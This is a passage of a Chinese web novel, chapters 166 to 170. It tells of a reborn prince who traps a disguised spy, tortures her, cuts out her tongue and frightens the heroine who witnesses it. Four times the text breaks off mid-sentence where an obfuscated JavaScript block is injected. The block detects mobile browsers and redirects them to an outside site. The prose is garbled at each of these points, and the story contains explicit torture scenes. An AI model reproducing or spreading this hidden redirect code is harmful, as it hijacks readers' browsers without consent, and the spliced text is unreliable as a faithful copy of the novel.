有了这条线索,萧凌川当即下令,以那条小巷为中心,方圆五里之内展开秘密搜查,重点清查那些平日游手好闲、有前科的地痞无赖。 不出半日,凌风便押回几个形迹可疑之人。 这些人不学无术,乃南朔城中臭名昭著的地痞流氓,终日混迹于赌场青楼,欠下累累赌债。 这样的人,最容易被金钱诱惑,做出丧尽天良之事。 几名地痞被带到萧凌川面前时,个个面色惨白,双腿打颤。 萧凌川冷冷扫他们一眼,声音如冰霜刺骨:“昨夜安置所纵火一事,可是你们所为?” 他们一见端坐上首、面色阴沉、浑身散发凛冽煞气的萧凌川,吓得魂不附体,纷纷跪地,磕头如捣蒜。 “殿下饶命!小人什么都不知道!” “还敢狡辩!来人,上刑!” 眼见凌风手中长鞭高高扬起,他们顿时吓得面如死灰,忙不迭招供:“小人招了!是……是一个老妪!一个不会说话的老妪!她给了我们一袋金子,命我们去安置所放火,还要散播谣言,污蔑……污蔑是殿下您下令烧死那些病人……还让我们穿上偷来的军爷铠甲,故意让人瞧见……” “老妪还说,事成之后会再给我们更多金子!殿下,我们实在是被逼无奈,一时财迷心窍啊!我们根本没料到会烧死那么多人!” “那个老妪如今何在?”萧凌川沉声问道,眼底寒光乍现。 一个混混哆哆嗦嗦从怀中掏出一张皱巴巴的纸条,双手奉上:“殿下,这是……这是那老妪留下的,可昨夜之后,她就再没露面!我们也不知她去了何处!” 凌风上前接过纸条,恭敬递给萧凌川。 看到那熟悉的字迹,萧凌川脸上缓缓浮起一丝阴鸷而狰狞的笑意,那笑容看得跪在地上的几个地痞不寒而栗。 “呵……”他低低地笑了一声,声音里充满了森然的杀机,“我正愁找不到她,现在,她是自己送上门来了!” 既然来了,就别想活着回去! 第166章 残忍的反杀 第一百六十六章残忍的反杀 次日天明,一个惊人的消息迅速席卷了整个南朔城军营,并以更快的速度传遍了城中每一个角落。 “听说了吗?四皇子殿下昨夜在亲自盘问那些纵火犯时,竟被其中一名嫌疑犯暴起行刺!” “刺中了?殿下如今怎么样了?” “听说……听说那一刀正中心口要害,血都浸透了软甲,殿下他……他已经昏迷不醒,能不能熬过去都难说!” 流言如瘟疫般扩散,军心动荡,城中百姓更是惶惶不安。 他们原指望着四皇子能尽快揪出纵火真凶,没想到,这唯一的希望竟也濒临破灭。 一时间,南朔城的上空仿佛被一层厚重的阴云笼罩,压得人喘不过气来。 装扮成老妪的姜家姨娘行走在街上,听到人群里传来的消息,一双眼睛里迸射出难以抑制的狂喜和激动。 萧凌川重伤昏迷? 连老天爷都在帮她! 这简直是杀了他的绝佳时机! 她脸上浮起着毒蛇般的算计。 夜色如墨,一道鬼魅般的身影,避开了重重守卫,悄无声息地潜入了四皇子萧凌川的主帐。 帐内只燃着一盏昏黄的油灯,光线暗淡,隐约可见床榻上隆起一个人形,呼吸微弱,似乎随时都会断气。 她眼中闪过一丝鄙夷和狠戾,随即抽出那柄擦拭得锃亮的**,用尽全身力气,狠狠地朝着那床上之人的心脏位置刺了下去! “噗——” 一声闷响。 然而,预想中刀刃刺入血肉的触感并未传来,反而像是刺进了一团厚实的棉花。 姜家姨娘心中咯噔一下,一股不祥的预感瞬间攫住了她的心脏。 她猛地掀开被子—— 被子之下,哪里有什么重伤昏迷的萧凌川,分明只有一个被戳穿了的枕头和几件叠起的衣物! 糟糕,中计了! 她浑身的血液仿佛在这一刻凝固,一股寒气从脚底直冲天灵盖。 “姜家姨娘……哦,不对,应该叫你一声花莲,别来无恙啊!” 一个冰冷刺骨、夹杂着浓浓嘲讽的声音,从她身后幽幽响起,如同地府爬出的催命恶鬼。 花莲的瞳孔骤缩小。 她僵硬地转过身,只见萧凌川正斜倚在帐中的案几旁,好整以暇地看着她,那双深邃的桃花眸在昏暗的灯火下,闪烁着狼一般幽冷的光。 巨大的惊骇让她的大脑一片空白,但常年伪装的本能让她下意识地抬起手,飞快地比划起来:“殿下,不瞒您说,花莲是您母亲的名字,不是我的!我才是当初被送来和亲的南月公主,我叫花芷若!当初之所以骗你,是因为……” 萧凌川看着她的动作,嘴角的弧度越发讥诮,他嗤笑一声:“花莲,你这些年假扮我母亲,是不是演上瘾了?连自己是谁都忘了?这里没有旁人,就我们两个,你这套把戏,还是收起来吧,看着怪恶心的。” 花莲陡然一惊,忽然意识到一件难以置信的事情。 方才情急之下,她下意识比了手语,而他竟然看得懂! 更让她遍体生寒的是,他是如何得知她真实姓名的? 那个名字,早在二十多年前,就已随那个秘密一同深埋黄土,永不见天日了! 无数个疑问在她脑中炸开,让她感到了前所未有的恐惧。 来不及细想,求生的本能让她抽出藏在腰间的软剑,手腕一抖,剑尖直刺萧凌川的咽喉! “锵!” 萧凌川甚至没有移动脚步,只是随意地抬手,便用手中的剑鞘精准地格开了她的攻击。 花莲剑法刁钻狠辣,招招直逼要害,却连萧凌川的衣角都未能碰到分毫。 不过三两招,只听“当啷”一声,花莲手中的软剑便被挑飞,下一刻,冰冷的剑锋已经稳稳地抵在了她的喉咙上。 剑尖的寒意透过皮肤,她浑身的汗**顿时倒竖起来。 死亡的阴影瞬间笼罩了她。 强烈的求生欲让她抛弃了所有的伪装和尊严。 “求……求求你,别……别杀我……” 一个嘶哑、干涩,仿佛砂纸摩擦过喉咙的声音,从她嘴里艰难地挤了出来。 因为太久没有说过话,她的嗓音听起来怪异而陌生。 “怎么,不装哑巴了?”萧凌川的嘴角勾起一抹残忍的弧度,眼神里的戏谑变成了浓得化不开的杀意。 看到他眼中那毫不掩饰的杀机,花莲彻底崩溃了,她浑身抖得像风中的落叶:“殿下,我的确是花莲……可这都是公主的主意,是您母亲自己让我假扮她的!当初她来南月和亲时,腹中已经有了孩子,为了不让大邺皇帝发现,才出此下策……殿下,其实你根本就不是大邺皇帝的后代,而是……” 她的话还没说完,一道钻心刺骨的剧痛便从左肩传来! “啊——!” 花莲发出一声凄厉的惨叫,萧凌川面无表情地将长剑刺穿了她的肩胛骨,鲜血瞬间染红了她的衣衫。 “你是不是想说,我的亲生父亲是南月人,我身上流着的都是南月人的血,所以,我应该帮着南月攻占大邺,然后,在你和你那个好女儿的‘辅佐’下,成为大邺的新帝?” 萧凌川的声音平静得可怕,一字一句,都像是淬了毒的冰针。 花莲疼得浑身痉挛,脸上血色尽失,惊恐地瞪大了眼睛:“你……你既然已经知道自己的身份,为、为何还……啊!” 萧凌川缓缓转动剑柄,剑刃在她血肉中搅动的声音清晰可闻。 剧痛让花莲的眼前阵阵发黑,几乎要晕厥过去。 “你再说一句谎试试?”他俯下身,凑到她耳边,声音如同恶魔的低语,充满了无尽的恨意。 前世,他就是信了姜瑶真这对卑鄙母女编造的这套说辞,被所谓的“身世”和“血脉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她在心底反复告诫自己,会为他担忧,是怕他**没人帮她为大哥报仇,而非为他动了真心。 刚近营帐,一道黑影忽地闪现,还没来得及反应,便有人捂住她的嘴,将她拖至一处隐蔽角落。 浓烈的血腥味扑鼻而来,她下意识拉开那只手:“你受伤了!我是大夫,可以帮你包扎伤口!” 花莲的面容隐藏在黑暗中,因左肩伤势过重,痛得她咬牙切齿,索性将手中长剑架在姜姝宁脖颈上:“不许出声!立刻给我包扎!” 姜姝宁从药箱里取出药粉和纱布,抬头刹那,月光照亮那人面容——竟是姜氏姨娘! 她浑身上下的血液顿时凝固。 怎么会是她? 她……不是哑巴吗? 第167章 血腥的一幕 第一百六十七章血腥的一幕 就在这时,一道阴冷的声音如淬毒的冰锥,穿透夜色,直直扎入她们的藏身之处。 “花莲,不用躲了,你身上的血腥味浓烈,我很快就能找到你。” 是萧凌川! 那声音里不带一丝温度,每个字都像是从牙缝里挤出来的,裹挟着浓重的杀意。 月光下,一个颀长的身影正缓步走来,他脸上似乎还沾染着些许白色的药粉,在清冷的月色映照下,显得鬼魅而阴森。 他手里提着一把剑,剑尖拖在地上,划出一道细微的声响,每一下都像是踩在人的心尖上。 “若是现在出来,我可以给你一个痛快的死法!若是等我找到你……”萧凌川停下脚步,唇角勾起一抹极尽阴狠的笑意,“我会让你生不如死!” 姜姝宁能清晰地感觉到,身旁的姜家姨娘整个身体都在剧烈地颤抖。 那不是因为冷,而是源于骨子里的恐惧。 原来,她身上的伤,是萧凌川所为。 可他为什么要伤她? 难道**,这个女人是姜瑶真的亲生母亲吗? 正当她满心疑窦之际,掌心忽然被塞进一个冰凉坚硬的东西。 她下意识低头,借着微弱的月光,看到那是一块晶莹剔透的玉牌,质地不凡。 “听着,小大夫!”花莲的声音压得极低,气息急促而紊乱,“我是南月公主花芷若,这块玉牌便是证明我身份的物件!” 姜姝宁的瞳孔骤然紧缩,震惊得几乎要叫出声来。 姜家姨娘……不仅不是哑巴,她竟然还是南月国的公主? 那姜瑶真,岂不是南月皇室的后裔? 她忍不住问:“四皇子殿下……为何要杀你?” “因为我知道了他的身世秘密!”花莲的语气里充满了怨毒与不甘,“他根本不是大邺皇帝的种!他是南月人!当年他母亲被送来大邺当贡女时,肚子里就已经怀上了他。大邺皇帝那个蠢货,戴了这么大一顶绿帽子都不知道,还傻乎乎地将他当成自己的亲骨肉养大!我是这世上唯一知道这个秘密的人,所以,他要杀我灭口!” 花莲死死抓住姜姝宁的手臂,力道之大,几乎要将她的骨头捏碎。 “你把这个玉牌交给大邺皇帝!把萧凌川的身世秘密告诉他!你是大邺人,你不能眼睁睁看着大邺的江山,落在一个南月人手里!” 她今日未必能活着离开这里。 但至少,她要让她的女儿姜瑶真,以南月公主后裔的身份,留在这世上! 姜姝宁的心脏狂跳不止,手中的玉牌仿佛成了烙铁,烫得她几乎要扔出去。 这个秘密太过惊世骇俗,是她前世今生都始料未及的。 她极力克制着内心的惊涛骇浪,强迫自己冷静下来:“我怎么知道你有没有骗我?况且,你也是南月国人,为何不帮他?” “帮他?”花芷若仿佛听到了天大的笑话,发出一声凄厉的冷笑,“我为什么要帮一个处心积虑要杀我的人?他母亲不过是我的一个侍女,叫姜莲!因为身份低微,所以进了宫后,大邺皇帝连个名分都懒得给她。后来她为了帮我逃出皇宫,被后宫的人活活欺辱致死……我看在她忠心耿耿的份上,本想念着旧情,动用南月在暗中的势力帮她儿子一把,没想到他竟是个狼心狗肺的东西,反过来想要我的命……” 她话还没说完,萧凌川的脚步声已近在咫尺。 “看来,是要逼我自己找了!”他阴恻恻地说道,准确无误地沿着血腥味往她们所在的方向一步步走来。 “快走!带着我的玉牌走!”花莲用尽全身力气狠狠推了姜姝宁一把。 紧接着,她不再躲藏,主动从阴影里站起身,踉跄着朝萧凌川走去。 “殿下,我在这里!” 萧凌川的目光瞬间锁定在她身上,那眼神如同看待一个死物,冰冷无情。 “玉牌呢?” “玉牌……我藏在了京城。”花莲喘息着,试图拖延时间,“殿下,只要你放过我,等你回京,我再……” 她的话没能说完,一道寒光闪过,萧凌川手中的长剑已经毫不留情地贯穿了她的腹部。 鲜血喷涌而出,在月色下绽开一朵妖异的花。 “你以为,我还会信你吗?”他缓缓抽出长剑,剑身上温热的血液滴滴答答地落在草地上。 “噗嗤!” “噗嗤!” 他又接连刺了她好几剑,每一剑都精准地避开了要害,却又都刺在最能让人感受到痛苦的地方。 躲在不远处的姜姝宁死死捂住自己的嘴,牙齿咬得咯咯作响,才没让自己尖叫出声。 眼前这血腥的一幕,让她浑身战栗,胃里翻江倒海。 花芷若疼得蜷缩在地上,连声音都在发颤:“殿下……给我个痛快吧……求你了……” “给你个痛快,岂不是太便宜你了?”萧凌川的声音仿佛来自地狱最深处,“我要让你在无尽的痛苦中,慢慢流干身上的血,一点一点地死去。” 只有这样,才能缓解他心中深藏了两世的汹涌恨意。 花莲知道自己今日在劫难逃,绝望之下,反而生出了一股鱼死网破的疯狂。 她用尽最后一丝力气,故意嘶声大喊:“萧凌川!你这个南月贱种!总有一天,大邺人会发现你并非皇室血脉,你根本没有资格……” 她的话戛然而止。 萧凌川的剑再次挥下,这一次,目标是她的嘴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787896|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锋利的剑刃直接刺了进去,残忍地搅动,将她的舌头硬生生割了下来。 “你那么喜欢装哑巴,如今就遂你的愿,让你成为真正的哑巴!” 他冷笑着,将带血的舌头甩在地上。 做完这一切,他正准备转身离开,却忽然捕捉到不远处传来一阵极其轻微的、踉跄奔跑的脚步声。 有人! 他的眼神瞬间变得狠戾,提着还在滴血的剑,朝着声音传来的方向大步走去。 剑尖在地上划过,留下一道蜿蜒的、被月光映照得发黑的血痕…… 此时,舌头被割断、浑身是血的花莲,凭借着强烈的求生欲,努力地在地上向前爬行。 剧痛让她眼前阵阵发黑,最终还是支撑不住,一头栽倒在地。 就在她意识即将消散之际,一双干净的男式靴子,突兀地出现在她模糊的视线里。 她艰难地抬起头,看到了一张清俊温和的少年脸庞。 是姜家三房的那个小子,姜天泽! “救……救我……”她奋力地动着血肉模糊的嘴,发出含糊不清的、如同野兽悲鸣般的求救声。 姜天泽在她面前蹲下身,从怀里取出一颗药丸,塞进了她的嘴里。 药丸入口即化,带着一股奇异的清香。 花莲吞下之后,立刻感觉到身上那些血流不止的伤口,似乎真的不再那么疼痛,血也止住了。 她眼中露出一丝感激。 可还没等她有任何表示,一股诡异的感觉迅速蔓延至全身。 她忽然发现,自己竟然动弹不得了! 除了眼珠,浑身上下没有一处地方能听从她的指挥! 她惊恐地瞪大了眼睛,死死地盯着姜天泽。 姜天泽脸上的温和神色渐渐褪去,取而代之的,是一种与他年龄不符的、森然入骨的寒意。 他笑了,俊逸的脸上浮起一丝天真又残忍的表情。 “你就是那个给我大姐姐下毒的姜家姨娘吧?”他轻声细语,像是在说什么有趣的事情,“就这么让你**,岂不是太可惜了?正好我母亲最近说缺一个趁手的炼毒的人,我看……你就很合适!” 说完,他不再理会花莲眼中极致的恐惧和绝望,像拖一条死狗一样,拖着她僵硬的身体,消失在了夜色笼罩的营地深处。 —— 萧凌川来到了刚才发出声响的地方。 这里空无一人,只有被踩断的枯枝和凌乱的草叶。 他的目光在地上巡梭,忽然,一个藏青色的东西吸引了他的注意。 他弯腰捡起,发现那是一个小巧的香囊。 香囊做工精致,绣样繁复,上面用金色的丝线,绣着一个格外显眼的字——川。 第168章 梦魇 第一百六十八章梦魇 姜姝宁不知道自己是怎么跑回营帐的。 她手脚冰凉,像是被浸在三九天的雪水里,连骨头缝都透着寒气。 恐惧像无数只冰冷的手,从四面八方伸来,死死地攫住了她,让她几乎无法呼吸。 “大小姐,你怎么这么晚才回来?”凌芜的声音像是从遥远的地方传来,不太真切。 她上前一步,目光立刻被姜姝宁袖口那抹刺眼的暗红吸引,惊呼一声,“大小姐,你流血了!” “这不是我的血!”姜姝宁慌乱地将手缩回身后,飞快将掌心里那块冰凉坚硬的玉牌,塞进了枕下最深处。 烛火摇曳,将她惨白如纸的脸映照得如同鬼魅,那双原本透亮的眸子里,盛满了来不及掩饰的惊恐。 “大小姐,你怎么了?脸色怎么这么差?可是遇到了什么事?”凌芜察觉到不对劲,担忧地追问。 对上凌芜那双关切的眼睛,姜姝宁心头的恐惧愈发汹涌。 她不能说。 就在方才,她知道了萧凌川的真实身世。 也亲眼见证了知晓这个秘密的下场—— 那人他剑下被寸寸凌虐,生生割去舌头,最终化为一滩模糊血肉。 萧凌川,远比她想象中还要残忍、冷酷、视人命如草芥。 “我、我没事……”她的牙齿不受控制地上下打着颤,发出咯咯的声响,“就是方才在外面吹了冷风,有些……怕冷罢了……” 她甚至来不及换下那件沾染了血腥与寒夜的衣衫,就那么哆哆嗦嗦地爬上床,扯过被子,将自己从头到脚裹得严严实实。 根本不管用。 只要一闭上眼,那血腥残酷的画面便在脑中挥之不去。 后半夜,在极致的疲惫与恐惧中,她终于昏沉睡去,却发起了高烧。 凌芜守在床边,一摸她的额头,顿时焦灼不已:“大小姐这是怎么了,怎么突然发起高烧来了?” 一旁的夏嫣还算镇定,提醒道:“快,去叫孙神医来看看,兴许是夜里着凉,患了伤寒。” 凌芜这才疾步跑出营帐。 她心急如焚,却下意识地拐了个弯,没有直接去找孙神医,而是奔向了萧凌川的主帐。 “殿下,大小姐她……今夜回来时就有些奇怪,好像被什么吓到了。现在发起高烧,说胡话了,属下很是担心她。”凌芜跪在帐外低声道。 营帐内,萧凌川正坐在案前,修长的手指漫不经心地把玩着那个绣着“川”字的香囊。 听到凌芜的禀报,他动作一顿,深邃的黑眸在暗夜里像两潭深不见底的寒渊。 “我想,我知道原因。” 原来方才听到的脚步声真的是她的。 她肯定看到了他虐杀花莲的全程,所以才会被吓成这样。 重生之后,他处心积虑藏起骨子里那些偏执、暴戾和凶残的本性,生怕会吓跑她。 纵使百般遮掩,终究还是功亏一篑。 他最不愿示人的阴暗面,就这么猝不及防地,被她撞了个正着。 他撩起眼皮,眸色深沉难辨,对凌芜吩咐道:“去请孙神医,让他除了退热的药,再多开些安神的。药方拿到后直接送去煎煮,我亲自来喂她。” “是,殿下!”凌芜得了命令,连忙起身退下。 凌芜走后,凌风上前禀告:“殿下,花莲不见了,属下带人找遍了整个营地,都没有发现她的踪迹,连血迹都在一处断了线索。” 萧凌川的眼底浮起一丝阴鸷之色:“她还真是难杀。无妨,她女儿还在京城,她一定会回去的。放心,她逃不出我的手掌心。” “那块玉牌……”凌风迟疑道。 “无妨。”萧凌川站起身,将那枚香囊小心收进怀中,“此事暂且放下。当务之急,是让姝宁好起来。” 他的王妃被他吓坏了。 一想到她在病榻上备受煎熬,他的心就像是被一只无形的手紧紧攥住,又疼又闷。 他必须去见她,亲眼看她好起来,才能安心。 姜姝宁陷入了一片混沌的黑暗里。 她好像回到了上一世。 梨花木的雕花屏风之后,她屏息听着外面的动静。 “退婚?”她听见父亲声音里蓄满怒火,“四皇子殿下!您可知您在说些什么?圣上的赐婚圣旨不日即将下达,满京城谁人不知小女即将成为您的皇子妃?您此时提出退婚,是要将小女的清誉置于何地?将我姜家的颜面置于何地?” 这是姜姝宁第一次见向来温善父亲发这样大的火。 然而,屏风外的那个男人,声音却是一如既往的清冷疏离。 “丞相大人息怒。此事我之过。所有责难,我愿一力承担。”他顿了顿,声音里满是决然,“但此婚,必须退。” 屏风后的她听到如此决绝的话,心口像是被一把钝刀狠狠地剜开,痛得她无法呼吸。 她不是不知道他倾慕的是她的庶妹,可他是唯一惊艳了她年少时光的男子,她做梦都想和他白头偕老。 听到他起身准备离去的动静,她再也忍不住,从屏风后冲了出来,拦在了他的面前。 “等等!” 她咬着发白的下唇,用尽全身的力气,才鼓起勇气说出那句话:“四皇子殿下……就不能……试着接受臣女吗?” 他看着她,那双多情的桃花眸里,此刻却是一片深不见底的墨色。 良久,他忽然笑了。 那笑容很浅,带着几分讳莫如深的意味,像是怜悯,又像是嘲弄。 “如何接受?”他轻声反问,语气却透着几分冷酷,“姜姑娘,你我本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15787897|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就不是同类人。” 不是同类人…… 她从前是不明白这话的深意的。 而现在,她突然恍然大悟。 他是南月国人,她是大邺国人,两国之间隔着血海深仇。 难怪上一世她如何努力,都走不进他的内心。 难怪他对姜瑶真那般与众不同。 因为姜瑶真和他一样,身上流着南月的血。 他们才是“同类人”。 眼前的场景开始扭曲、撕裂。 周遭的一切都陷入了浓得化不开的墨色之中。 唯有萧凌川依旧站在她面前。 只是,他身上的玄色锦袍,不知何时变成了一身染血的黑衣,空气里弥漫开浓重的血腥味。 “你现在终于知道,为何我无法爱上你了吧?” 他脸上带着残忍的、近乎愉悦的冷笑,那双桃花眸里浸满了化不开的戾气,手中利剑尚在滴血,正一步步朝她走来。 “既然你知道我的身世,那我便不能留你了!” 话音落下的瞬间,他猛地举起了手中的利剑,毫不犹豫地朝着她的心口狠狠刺下—— “啊——!” 萧凌川端着一碗还冒着热气的汤药,撩开姜姝宁营帐的帘子时,看到的便是她蜷缩在床榻上,瑟瑟发抖的模样。 她睡得极不安稳,眉头紧锁,嘴里含糊地呢喃着什么,长长的睫毛上甚至还挂着泪珠,那副脆弱无助的样子,让他心头一滞。 他挥手让凌芜和夏嫣退下,独自走到床边坐下。 “姝宁……”他伸出手,想去探一探她额头的温度。 然而,他的指尖还未触碰到她的皮肤,原本昏睡中的姜姝宁却像是受了什么惊吓一般,猛地睁开了眼睛! 那双失焦的、盛满泪水和恐惧的眸子,在看清他的一瞬间,瞳孔骤然紧缩! 梦魇中那个持剑欲灭口的萧凌川,与眼前男子的影像重合。 “别过来!”她死死地盯着他,像是在看一个从地狱里爬出来的恶鬼,既恐惧又厌恶,“别碰我!” 萧凌川的手僵在半空。 “姝宁,你病了,我是来喂你喝药的。”他努力让自己的声音听起来温和无害,端起药碗朝她靠近,“乖,把药喝了,喝了就不难受了。” “不!我不喝!”她惊恐无比。 那药里是不是被下了毒? 他是不是也想割掉她的舌头,让她变成一个永远无法泄露秘密的哑巴? 恐惧让她失去了理智,在他再次靠近时,她用尽全身力气,挥手狠狠向他手中的药碗打去! “啪——!” 那只青瓷碗摔在地上,四分五裂,发出的清脆声响,像一记耳光,狠狠地打在了他的脸上。 营帐内的空气,瞬间凝固了。 第169章 畏他如蛇蝎 第一百六十九章畏他如蛇蝎 听到营帐里传来碗破损的声音,夏嫣心头一紧,下意识就想掀开帘子冲进去,却被凌芜拦住了。 “凌芜,别拦我!我怕姝宁有事!”夏嫣神色焦灼。 “夏小姐,您别担心,”凌芜语气笃定,“殿下不会为难大小姐的!” “你怎么知道?”夏嫣满眼狐疑地盯着她,心中总觉得有些不对劲。 凌芜的反应太平静了,这是一个贴身婢女该有的反应吗? “我……”凌芜眼神闪躲了一下,避开夏嫣审视的目光,“总之,殿下绝对不会为难大小姐的,您就放心吧!” 她这么说,反倒让夏嫣更加疑惑了。 她忽然想到了什么,目光锐利地看着凌芜:“姝宁生病的事,怎么会惊动殿下的?是你去通报的?” “我也不知道!兴许……是孙神医告诉他的吧!” 夏嫣还想再追问,凌风忽然拿着一封信走了过来。 “夏姑娘,凌芜姑娘。姜三公子留下一封信,已经离开了。我派人找遍了整个南朔城,都没有找到他的踪迹。” 夏嫣的注意力立刻被转移,她接过信,匆匆拆开。 的确是姜天泽的笔迹,他在信中说他忽然想念母亲,便先回去了。 看完信,夏嫣无奈地叹了口气:“这天泽怎么回事?来的时候一声不吭就跑来了,走的时候也这么悄无声息。他才十六岁的少年,一个人上路,就不怕在路上遇到什么危险吗?” 凌芜垂眸,没有说话。 她心想,姜天泽可是南月毒师的儿子,这一路上,该担惊受怕的,是那些遇到他的人才对。 …… 营帐内,清脆的碎裂声像一盆冰水,兜头浇在了姜姝宁混乱的思绪上。 她整个人激灵一下,混沌的意识瞬间被拉回了几分清明。 不,绝对不能让萧凌川知道,自己已经窥破了他身世的秘密。 否则,以他狠厉阴鸷的性子,肯定会杀自己灭口的。 求生的本能压倒了一切。 姜姝宁几乎是连滚带爬地翻下床榻,重重地跪在了冰冷的地面上。 “臣女方才做了噩梦,梦中有恶鬼索命,一时失神,冲撞了殿下……臣女认错人了,还请殿下……莫要责怪……” 萧凌川看着她伏在地上,单薄的肩膀抖得像风中落叶,心中那股复杂难辨的情绪愈发浓重。 她这副畏他如蛇蝎的模样,刺痛了他。 他俯下身,手掌带着不容抗拒的力道,将她从地上拉了起来。 “姝宁,你无需这般怕我。”他深邃的目光像是两张细密的网,将她牢牢锁定, “我知道,你看到了我**的全过程。但我可以对你发誓,我只有对我的仇敌,才会如此残忍。” 他是在解释,也是在安抚。 可听在姜姝宁的耳朵里,却无异于威胁和警告。 什么是仇敌? 姜家姨娘这样知道他身世的,便是他的仇敌。 这样说,不过是为了麻痹她,让她放下戒备。 若他发现自己知道他的秘密,肯定会毫不犹豫地灭口。 她的心跳得快要从喉咙里蹦出来,脸上却不敢流露出分毫。 “殿下,臣女……不知道您在说什么。” 见她还想隐瞒,萧凌川既心疼又难过。 她就这么信不过自己,连对自己坦白的勇气都没有? 他眼底翻涌的墨色沉淀下来,松开了攥着她手腕的手,转而从宽大的袖中,取出了一个东西。 那是一个藏青色的香囊,绣着几簇清雅的竹叶,针脚细密,样式也是她惯用的。 “这是你昨夜遗落在那附近的,对吧?”他将香囊递到她面前,声音平淡得听不出一丝波澜。 看到香囊的那一刻,她浑身最后一丝力气仿佛都被抽干,整个人如同泄了气的皮球,瞬间瘫软下来。 前世十年朝夕相伴,她的针法,他早已烂熟于心,又怎么会认不出来? 装不下去了,也瞒不了了。 她僵硬地抬起头,脸色惨白如纸:“殿下……臣女发誓……绝不会同任何人说起昨夜发生之事……” “说了也无妨。”萧凌川将香囊重新塞回袖中,声音浅淡,“那人是南月细作,不仅是纵火案的主谋之一,与我更是有不共戴天之仇,我杀她,于公于私,都合情合理。” “她当真只是……南月细作?” “是。” 姜姝宁藏在袖子里的手紧紧攥起。 若不是亲眼看到了那块刻着繁复图腾的南月王室玉牌,她或许真的会相信他这番说辞。 一个普通的细作,怎么可能拥有那种象征着至高身份的信物? 她不敢反驳,甚至不敢表露出丝毫的怀疑,只能死死地垂着头,将所有的惊涛骇浪都压在心底。 帐内的空气仿佛凝固了,安静得能听到彼此微弱的呼吸声。 见她久久不语,只是瑟缩着肩膀,萧凌川紧绷的下颌线微微一松,声音放缓了些:“你心中若有什么疑问,尽管问,我如实回答。” 姜姝宁知道,这是他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792455|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 递过来的台阶。 或许,他真的只是以为她目睹了一场寻常的仇杀,尚不知她已窥破了他深藏不露的身世秘密。 正是因为这份“不知”,他才没有立刻动杀心。 这个认知让她稍稍有些放松。 犹豫片刻,她终于鼓起勇气问道:“殿下,前世你能和三皇子殿下势均力敌,是……借助了南月的势力吗?” 问出这句话,她几乎屏住了呼吸,心脏提到了嗓子眼。 “是。” 他答得干脆利落,坦荡得让姜姝宁都有些意外。 此事,他似乎并不打算瞒她。 难怪前世他一个备受冷落、身负南月血脉的皇子,竟有能力与根基深厚的三皇子萧修湛缠斗到最后一刻。 原来,他的背后,竟有整个南月作为倚仗! 想来,前世的姜瑶真与其母亲,定然为他倾尽了心力。 可他竟连这样的助力都能毫不犹豫地杀掉…… 姜姝宁深吸一口气,强迫自己冷静下来,继续问:“那今生,殿下还会借助南月的势力吗?” “不会。”他的回答斩钉截铁。 “为何?”她追问。 萧凌川沉默了片刻,帐内的烛火轻轻摇曳,将他脸上的神情映照得晦暗不明。 再次开口时,他的声音里淬满了寒冰:“前世南月帮我,是有代价的。今生,我不会再让他们阴谋得逞。” 阴谋? 姜姝宁的心猛地一沉。 所以前世,他其实是被南月利用了? 他最终,并没有当上皇帝? 这个猜测让她的大脑飞速运转。 她想知道真相,却又不敢问得太过直白。 她思忖了片刻,用一种极为委婉的方式,将话题引向了那个她最想知道的答案: “殿下,你我同为重生之人,我前世如何身死,你一清二楚。臣女……也想知道,殿下前世,究竟是如何……故去的?” 她想知道,他究竟是不是寿终正寝。 若是,那便说明他前世终究是赢了,登上了九五之尊的宝座。 若不是…… 这个问题一出口,帐内的温度仿佛骤然降到了冰点。 萧凌川脸上的所有表情都在一瞬间消失殆尽,取而代之的是一种令人心惊胆战的阴沉。 那双深邃的眼眸里,翻涌起滔天的墨色风暴,仿佛能将一切都撕碎、吞噬。 他死死地盯着她,一字一顿,声音是从牙缝里挤出来的: “你不会想知道的!” 第170章 他的逆鳞 第一百七十章 他的逆鳞 周遭的空气仿佛凝结成冰。 一股比虐杀姜家姨娘时还要浓烈百倍的凛冽杀气,从萧凌川身上轰然迸发,死死地笼罩住她。 姜姝宁这才意识到,自己触及了他的逆鳞。 她甚至怀疑只要自己再多问一个字,下一瞬,他就会毫不犹豫地拧断她的脖子。“是臣女越界,请殿下恕罪!”她慌忙示弱。 在绝对杀气面前,所有的试探都显得苍白可笑。 